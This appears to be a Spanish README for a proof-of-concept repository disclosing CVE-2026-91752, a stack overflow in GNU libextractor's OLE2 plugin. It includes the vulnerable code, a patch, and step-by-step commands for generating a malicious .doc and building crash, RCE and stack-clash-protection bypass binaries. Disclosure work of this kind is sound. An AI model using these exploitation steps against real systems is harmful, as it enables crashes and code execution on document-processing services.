
PoC para un desbordamiento de búfer crítico basado en pila en GNU libextractor ≤ 1.14. Un archivo .doc malicioso desencadena una asignación VLA sin límites que provoca un DoS incondicional. En entornos multihilo, elude las protecciones stack-clash para lograr un RCE completo.
Un desbordamiento de búfer basado en pila en el plugin OLE2 de GNU libextractor permite denegación de servicio remota (caída) y ejecución de código al procesar un archivo .doc manipulado. La vulnerabilidad está en process_star_office() (ole2_extractor.c:349), que asigna un Variable Length Array de hasta 4MB en la pila basándose en datos del archivo controlados por el atacante.
Impacto principal: Denegación de servicio remota — provoca la caída de cualquier aplicación que procese el archivo malicioso
Impacto secundario: Ejecución remota de código mediante el bypass de -fstack-clash-protection a través de pilas de hilos adyacentes
| Campo | Valor |
|---|---|
| CVE | CVE-2026-91752 |
| Producto | GNU libextractor |
| Versiones afectadas | < 1.15 (todas las versiones hasta la 1.14) |
| Versión corregida | 1.15 |
| CVSS 4.0 | 8.7 ALTO (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N) |
| CVSS 3.1 | 7.5 ALTO (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) |
| Severidad | ALTA (DoS) / CRÍTICA (RCE en modo multiproceso en proceso) |
| CWE | CWE-789 (Asignación de memoria con valor de tamaño excesivo) / CWE-121 (Desbordamiento de búfer basado en pila) |
| Vector de ataque | Red (cualquier ruta de procesamiento de archivos) |
| Privilegios requeridos | Ninguno |
| Interacción del usuario | Ninguna |
| CNA | VulnCheck |
| Investigador | Haitam Lazaar |
Nota: GCC moderno (≥8) habilita
-fstack-clash-protectionpor defecto, lo que en aplicaciones de un solo hilo convierte el desbordamiento explotable en una caída segura. Sin embargo, esta mitigación puede eludirse en aplicaciones multiproceso donde las pilas de los hilos son adyacentes en memoria — las comprobaciones del VLA tienen éxito hacia la pila del hilo vecino, permitiendo la ejecución completa de código incluso en compilaciones reforzadas. Consulte docs/BYPASS.md para más detalles.
.doc no confiables# Generate malicious .doc
python3 poc/gen_payload.py exploit.doc
# Any application that processes this file with libextractor crashes:
extract exploit.doc # CLI tool → OLE2 plugin worker crashes
gnunet-publish exploit.doc # GNUnet → gnunet-helper-fs-publish crashes

La animación anterior demuestra el entorno de laboratorio automatizado proporcionado en el directorio lab-setup/. Con solo ejecutar docker compose up, un contenedor atacante genera automáticamente el payload .doc malicioso y lo sube a un servicio web vulnerable de indexación de documentos. La lógica de análisis de libextractor desencadena el desbordamiento de pila del VLA, permitiendo al atacante lograr silenciosamente la ejecución de código arbitrario. Verificamos el exploit ejecutando cat /tmp/pwned en el contenedor objetivo para ver la salida del comando.
├── poc/ # Proof of concept
│ ├── gen_payload.py # Generates malicious .doc trigger file
│ ├── poc_rce.c # Demonstrates code execution (protection disabled)
│ └── bypass_rce.c # Stack-clash-protection bypass (multi-threaded)
├── exploit/ # Exploitation details
│ ├── remote_exploit.sh # Example: triggering via HTTP upload (lab scenario)
│ └── extract_server.c # Example: vulnerable application using libextractor
├── patches/ # Recommended fix
│ └── 0001-fix-ole2-vla.patch
├── lab-setup/ # Reproducible test environment
│ ├── Dockerfile # Builds vulnerable libextractor from source
│ ├── docker-compose.yml # Full lab (includes HTTP upload as one test vector)
│ └── upload_server.py # Document indexing service simulation
└── docs/
├── BYPASS.md # Stack-clash-protection bypass technique
└── PAYLOAD_STRUCTURE.md # Malicious .doc file format documentation
# Build libextractor from source
./configure && make && sudo make install
# Generate trigger file
python3 poc/gen_payload.py exploit.doc
# Crash any libextractor consumer
extract exploit.doc # crashes the OLE2 plugin worker
gcc -O2 -fno-stack-clash-protection -o poc_rce poc/poc_rce.c -lextractor
ulimit -s 2048
./poc_rce exploit.doc # executes attacker payload (exit code 42)
gcc -O2 -fstack-clash-protection -o bypass_rce poc/bypass_rce.c -lextractor -lpthread
./bypass_rce exploit.doc # bypasses protection, executes payload (exit code 42)
docker-compose -f lab-setup/docker-compose.yml up -d
// src/plugins/ole2_extractor.c:349
off_t size = gsf_input_size(src); // Attacker controls via OLE2 stream
if (size > 4 * 1024 * 1024) return 0; // Max 4MB allowed — but stack is 1-8MB
char buf[size]; // VLA: up to 4MB ON THE STACK
gsf_input_read(src, size, buf); // Write attacker data
Sin -fstack-clash-protection, el compilador genera:
sub %rax, %rsp ; Single instruction, jumps RSP past guard page
Con -fstack-clash-protection, las comprobaciones aún pueden eludirse en contextos multiproceso (consulte docs/BYPASS.md).
- if ( (size < 0x374) ||
- (size > 4 * 1024 * 1024) )
+ char buf[0x374];
+
+ if (size < 0x374)
return 0;
- {
- char buf[size];
- gsf_input_read (src, size, (unsigned char*) buf);
+ gsf_input_read (src, sizeof(buf), (unsigned char*) buf);
Descubierto por mí (Haitam Lazaar) durante mi investigación de seguridad independiente.
Un agradecimiento especial a Christian Grothoff, mantenedor de GNU libextractor, por su increíblemente rápida clasificación, comunicación profesional y rápido despliegue de parches (v1.15, v1.16 y v1.17) para resolver este y otros problemas de seguridad de memoria reportados durante esta auditoría.
Mi investigación se proporciona con fines educativos y defensivos. Úsela de forma responsable.